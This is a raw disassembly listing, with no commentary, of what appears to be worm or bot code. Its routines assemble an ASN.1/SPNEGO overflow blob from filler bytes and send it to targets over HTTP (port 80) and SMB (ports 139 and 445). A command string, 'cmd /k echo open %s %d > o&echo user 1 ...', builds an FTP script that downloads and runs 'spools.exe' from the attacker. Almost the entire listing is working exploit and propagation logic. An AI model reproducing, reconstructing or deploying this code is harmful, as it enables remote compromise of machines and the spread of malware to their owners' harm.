push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BBCB
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C7AE
push ebx
push 0
push edi
call sub_41BC40
push ebx
push [esp+1Ch+arg_0]
push edi
call near ptr sub_41C9B0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C7AE: ; CODE XREF: sub_40C77C+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C77C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C7B6 proc near ; CODE XREF: sub_40C8B0+18p
; sub_40C92A+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BBCB
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C802
push edi
push 0
push esi
call sub_41BC40
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call near ptr sub_41C9B0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call near ptr sub_41C9B0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C802: ; CODE XREF: sub_40C7B6+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C7B6 endp
; =============== S U B R O U T I N E =======================================
sub_40C80B proc near ; CODE XREF: sub_40C8B0+5Ep
; sub_40C8B0+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C81B
push eax
call sub_41B961
pop ecx
loc_40C81B: ; CODE XREF: sub_40C80B+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C80B endp
; =============== S U B R O U T I N E =======================================
sub_40C824 proc near ; CODE XREF: sub_40C8B0+20p
; sub_40C98B+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C851
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BBCB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C855
loc_40C851: ; CODE XREF: sub_40C824+Dj
xor al, al
jmp short loc_40C8AC
; ---------------------------------------------------------------------------
loc_40C855: ; CODE XREF: sub_40C824+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BC40
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C87A
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C894
; ---------------------------------------------------------------------------
loc_40C87A: ; CODE XREF: sub_40C824+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C894: ; CODE XREF: sub_40C824+54j
push eax
call near ptr sub_41C9B0
add esp, 0Ch
push dword ptr [esi]
call sub_41B961
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C8AC: ; CODE XREF: sub_40C824+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C824 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8B0 proc near ; CODE XREF: sub_40C9E6+89p
; sub_40C9E6+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4D10A8
call sub_40C7B6
lea ecx, [ebp+var_8]
call sub_40C824
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BBCB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C8EA
xor al, al
jmp short loc_40C926
; ---------------------------------------------------------------------------
loc_40C8EA: ; CODE XREF: sub_40C8B0+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BC40
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call near ptr sub_41C9B0
add esp, 18h
mov ecx, esi
call sub_40C80B
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C80B
mov al, 1
loc_40C926: ; CODE XREF: sub_40C8B0+38j
pop edi
pop esi
leave
retn
sub_40C8B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C92A proc near ; CODE XREF: sub_40C95E+14p
; sub_40C97B+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C7B6
mov ecx, esi
call sub_40C80B
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40C92A endp
; =============== S U B R O U T I N E =======================================
sub_40C95E proc near ; CODE XREF: sub_40C9E6+F0p
; sub_40C9E6+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B890
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40C92A
pop esi
retn 4
sub_40C95E endp
; =============== S U B R O U T I N E =======================================
sub_40C97B proc near ; CODE XREF: sub_40C9C7+Bp
; sub_40C9E6+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40C92A
retn 8
sub_40C97B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C98B proc near ; CODE XREF: sub_40C9C7+16p
; sub_40C9E6+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C824
test al, al
jz short loc_40C9C4
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42C2A0
call sub_40C7B6
mov ecx, esi
call sub_40C80B
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40C9C4: ; CODE XREF: sub_40C98B+Fj
pop esi
leave
retn
sub_40C98B endp
; =============== S U B R O U T I N E =======================================
sub_40C9C7 proc near ; CODE XREF: sub_40C9E6+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40C97B
test al, al
jz short loc_40C9E2
mov ecx, esi
call sub_40C98B
loc_40C9E2: ; CODE XREF: sub_40C9C7+12j
pop esi
retn 8
sub_40C9C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9E6 proc near ; CODE XREF: .nsp0:0040D26Dp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C772
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CD3A
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CD3A
push esi
lea ecx, [ebp+var_30]
call sub_40C772
lea ecx, [ebp+var_20]
call sub_40C772
lea ecx, [ebp+var_50]
call sub_40C772
lea ecx, [ebp+var_18]
call sub_40C772
lea ecx, [ebp+var_40]
call sub_40C772
lea ecx, [ebp+var_38]
call sub_40C772
lea ecx, [ebp+var_28]
call sub_40C772
push 4
push offset dword_4389C0
lea ecx, [ebp+var_30]
call sub_40C92A
push 3
push offset dword_4389C8
lea ecx, [ebp+var_30]
call sub_40C92A
lea ecx, [ebp+var_30]
call sub_40C8B0
lea ecx, [ebp+var_30]
call sub_40C98B
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BC40
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40C92A
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40C92A
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40C92A
lea ecx, [ebp+var_20]
call sub_40C8B0
push offset loc_438D40
lea ecx, [ebp+var_50]
call sub_40C95E
lea ecx, [ebp+var_50]
call sub_40C8B0
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C77C
lea ecx, [ebp+var_58]
call sub_40C8B0
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40C9C7
lea ecx, [ebp+var_58]
call sub_40C80B
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BC40
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40C95E
push 4
push offset dword_4389CC
lea ecx, [ebp+var_18]
call sub_40C92A
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40C92A
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40C92A
lea ecx, [ebp+var_18]
call sub_40C8B0
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40C97B
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40C97B
lea ecx, [ebp+var_40]
call sub_40C98B
lea ecx, [ebp+var_18]
call sub_40C80B
lea ecx, [ebp+var_50]
call sub_40C80B
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40C97B
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40C97B
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40C97B
lea ecx, [ebp+var_38]
call sub_40C98B
lea ecx, [ebp+var_20]
call sub_40C80B
lea ecx, [ebp+var_30]
call sub_40C80B
lea ecx, [ebp+var_40]
call sub_40C80B
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40C92A
lea ecx, [ebp+var_28]
call sub_40C8B0
push 2
push offset dword_438D34
lea ecx, [ebp+var_28]
call sub_40C92A
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40C97B
lea ecx, [ebp+var_28]
call sub_40C98B
lea ecx, [ebp+var_38]
call sub_40C80B
lea ecx, [ebp+var_10]
call sub_40C772
lea ecx, [ebp+var_8]
call sub_40C772
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40C97B
lea ecx, [ebp+var_10]
call sub_40C824
lea ecx, [ebp+var_28]
call sub_40C80B
push offset dword_438D30
lea ecx, [ebp+var_8]
call sub_40C95E
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C97B
lea ecx, [ebp+var_8]
call sub_40C824
lea ecx, [ebp+var_10]
call sub_40C80B
push offset a0_0 ; "0"
lea ecx, [ebp+var_10]
call sub_40C95E
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40C97B
lea ecx, [ebp+var_10]
call sub_40C824
lea ecx, [ebp+var_8]
call sub_40C80B
push offset dword_438D24
lea ecx, [ebp+var_8]
call sub_40C95E
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C97B
lea ecx, [ebp+var_8]
call sub_40C824
lea ecx, [ebp+var_10]
call sub_40C80B
push (offset loc_438D1F+1)
lea ecx, [ebp+var_48]
call sub_40C95E
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40C97B
lea ecx, [ebp+var_8]
call sub_40C80B
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CD48
; ---------------------------------------------------------------------------
loc_40CD3A: ; CODE XREF: sub_40C9E6+1Bj
; sub_40C9E6+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CD48: ; CODE XREF: sub_40C9E6+352j
pop edi
pop ebx
leave
retn
sub_40C9E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD4C proc near ; CODE XREF: sub_40CE10+A1p
; sub_40CE10+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_427224 ; select
cmp eax, edi
jnz short loc_40CDB3
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4265E8 ; __WSAFDIsSet
test eax, eax
jnz short loc_40CDB7
loc_40CDB3: ; CODE XREF: sub_40CD4C+54j
xor eax, eax
jmp short loc_40CDC7
; ---------------------------------------------------------------------------
loc_40CDB7: ; CODE XREF: sub_40CD4C+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4D1208 ; recv
loc_40CDC7: ; CODE XREF: sub_40CD4C+69j
pop edi
pop esi
leave
retn
sub_40CD4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CDCB proc near ; CODE XREF: sub_40CE10+81p
; sub_40CE10+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4D11EC ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
cmp eax, 4
jz short loc_40CDF5
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CDF5: ; CODE XREF: sub_40CDCB+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4D1240 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CDCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE10 proc near ; CODE XREF: sub_40CEEA+48p
; .nsp0:0040D368p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BBCB
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CE39
xor al, al
jmp loc_40CEE5
; ---------------------------------------------------------------------------
loc_40CE39: ; CODE XREF: sub_40CE10+20j
push ebx
push 0
push esi
call sub_41BC40
push 2Fh
push offset dword_438A5C
push esi
call near ptr sub_41C9B0
push 8
lea eax, [esi+31h]
push offset dword_438A8C
push eax
mov [esi+2Fh], di
call near ptr sub_41C9B0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call near ptr sub_41C9B0
push 6
add ebx, edi
push offset dword_4D3F0C
push ebx
call near ptr sub_41C9B0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_4389D4
push ebx
call sub_40CDCB
add esp, 48h
test al, al
jnz short loc_40CEA1
loc_40CE9D: ; CODE XREF: sub_40CE10+B5j
xor bl, bl
jmp short loc_40CEDC
; ---------------------------------------------------------------------------
loc_40CEA1: ; CODE XREF: sub_40CE10+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CD4C
push [ebp+var_4]
push esi
push ebx
call sub_40CDCB
add esp, 1Ch
test al, al
jz short loc_40CE9D
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CD4C
add esp, 10h
mov bl, 1
loc_40CEDC: ; CODE XREF: sub_40CE10+8Fj
push esi
call sub_41B961
pop ecx
mov al, bl
loc_40CEE5: ; CODE XREF: sub_40CE10+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CE10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEEA proc near ; CODE XREF: .nsp0:0040D34Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_438A98
push [ebp+arg_0]
call dword_427220 ; send
cmp eax, 48h
jnz short loc_40CF25
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CD4C
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40CF25
cmp [ebp+var_20], 82h
jz short loc_40CF29
loc_40CF25: ; CODE XREF: sub_40CEEA+1Bj
; sub_40CEEA+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CF29: ; CODE XREF: sub_40CEEA+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CE10
add esp, 0Ch
leave
retn
sub_40CEEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF3C proc near ; CODE XREF: sub_40CF88+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427690
call sub_41CE38
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427688
fstp [esp+10h+var_10]
call sub_41CD19
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41CE38
inc eax
leave
retn
sub_40CF3C endp
; =============== S U B R O U T I N E =======================================
sub_40CF88 proc near ; CODE XREF: sub_40D12A+24p
var_40 = qword ptr -40h
mov eax, offset loc_426C8B
call sub_41D304
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D5C9
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40CF3C
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40CFCA
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D544
loc_40CFCA: ; CODE XREF: sub_40CF88+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D0E7
mov ebx, [ebp+10h]
loc_40CFD9: ; CODE XREF: sub_40CF88+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40CFE3
push 3
jmp short loc_40CFF5
; ---------------------------------------------------------------------------
loc_40CFE3: ; CODE XREF: sub_40CF88+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40CFED
push 2
jmp short loc_40CFF5
; ---------------------------------------------------------------------------
loc_40CFED: ; CODE XREF: sub_40CF88+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40CFF6
push 1
loc_40CFF5: ; CODE XREF: sub_40CF88+59j
; sub_40CF88+63j
pop ebx
loc_40CFF6: ; CODE XREF: sub_40CF88+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_4276A0
fstp [esp+40h+var_40]
call sub_41CE5F
pop ecx
pop ecx
call sub_41CE38
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D035
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D035: ; CODE XREF: sub_40CF88+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D0A3
add [ebp-18h], eax
loc_40D087: ; CODE XREF: sub_40CF88+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_438AE4[eax]
push eax
push 1
call sub_40D3C6
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D087
loc_40D0A3: ; CODE XREF: sub_40CF88+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D0C1
push dword ptr [ebp+14h]
call sub_41B890
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D41F
mov [ebp-18h], edi
loc_40D0C1: ; CODE XREF: sub_40CF88+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D0DB
sub esi, [ebp-1Ch]
loc_40D0CC: ; CODE XREF: sub_40CF88+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D3C6
dec esi
jnz short loc_40D0CC
loc_40D0DB: ; CODE XREF: sub_40CF88+13Fj
cmp [ebp+10h], edi
ja loc_40CFD9
push 1
pop ebx
loc_40D0E7: ; CODE XREF: sub_40CF88+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D5C9
push dword_427698
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D476
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D5C9
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40CF88 endp
; =============== S U B R O U T I N E =======================================
sub_40D12A proc near ; CODE XREF: .nsp0:0040D331p
mov eax, offset loc_426CA8
call sub_41D304
sub esp, 10h
push ebx
push esi
push edi
push offset byte_443398
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40CF88
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BBCB
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D174
xor bl, bl
jmp short loc_40D1B8
; ---------------------------------------------------------------------------
loc_40D174: ; CODE XREF: sub_40D12A+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A8
cmp ecx, ebx
jnz short loc_40D182
mov ecx, eax
loc_40D182: ; CODE XREF: sub_40D12A+54j
cmp [ebp+18h], ebx
jz short loc_40D18A
mov eax, [ebp+18h]
loc_40D18A: ; CODE XREF: sub_40D12A+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C030
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4D1240 ; send
cmp eax, esi
jz short loc_40D1AF
xor bl, bl
jmp short loc_40D1B1
; ---------------------------------------------------------------------------
loc_40D1AF: ; CODE XREF: sub_40D12A+7Fj
mov bl, 1
loc_40D1B1: ; CODE XREF: sub_40D12A+83j
push edi
call sub_41B961
pop ecx
loc_40D1B8: ; CODE XREF: sub_40D12A+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D5C9
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D5C9
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D12A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 424h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_438C90
push eax
call near ptr sub_41C9B0
add esp, 0Ch
mov eax, offset aSpools_exe ; "spools.exe"
push eax
push eax
movzx eax, word ptr dword_4D0F20
push eax
push dword ptr [ebp+8]
call sub_40AB6A
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_41C030
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-24h]
push offset sub_438B28
push eax
call sub_40C9E6
mov ecx, [eax]
xor esi, esi
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp-4], eax
jnz short loc_40D28D
xor eax, eax
jmp loc_40D3B9
; ---------------------------------------------------------------------------
loc_40D28D: ; CODE XREF: .nsp0:0040D284j
mov [ebp-0Ch], esi
loc_40D290: ; CODE XREF: .nsp0:0040D390j
test esi, esi
jnz loc_40D396
push 6
push 1
push 2
call dword_42721C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D37E
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4D11F0 ; ntohs
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4D1230 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D373
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D33B
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D5C9
lea eax, [ebp+0Ch]
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D605
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D12A
add esp, 1Ch
jmp short loc_40D370
; ---------------------------------------------------------------------------
loc_40D33B: ; CODE XREF: .nsp0:0040D2F9j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D355
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CEEA
jmp short loc_40D36D
; ---------------------------------------------------------------------------
loc_40D355: ; CODE XREF: .nsp0:0040D345j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D373
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CE10
loc_40D36D: ; CODE XREF: .nsp0:0040D353j
add esp, 0Ch
loc_40D370: ; CODE XREF: .nsp0:0040D339j
movzx esi, al
loc_40D373: ; CODE XREF: .nsp0:0040D2ECj
; .nsp0:0040D35Fj
push ebx
call dword_4D1288 ; closesocket
test esi, esi
jnz short loc_40D389
loc_40D37E: ; CODE XREF: .nsp0:0040D2A9j
push 3E8h
call dword_427064 ; Sleep
loc_40D389: ; CODE XREF: .nsp0:0040D37Cj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D290
loc_40D396: ; CODE XREF: .nsp0:0040D292j
lea ecx, [ebp-8]
call sub_40C80B
test esi, esi
jz short loc_40D3B7
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_438050[eax]
lea eax, dword_438050[eax]
loc_40D3B7: ; CODE XREF: .nsp0:0040D3A0j
mov eax, esi
loc_40D3B9: ; CODE XREF: .nsp0:0040D288j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
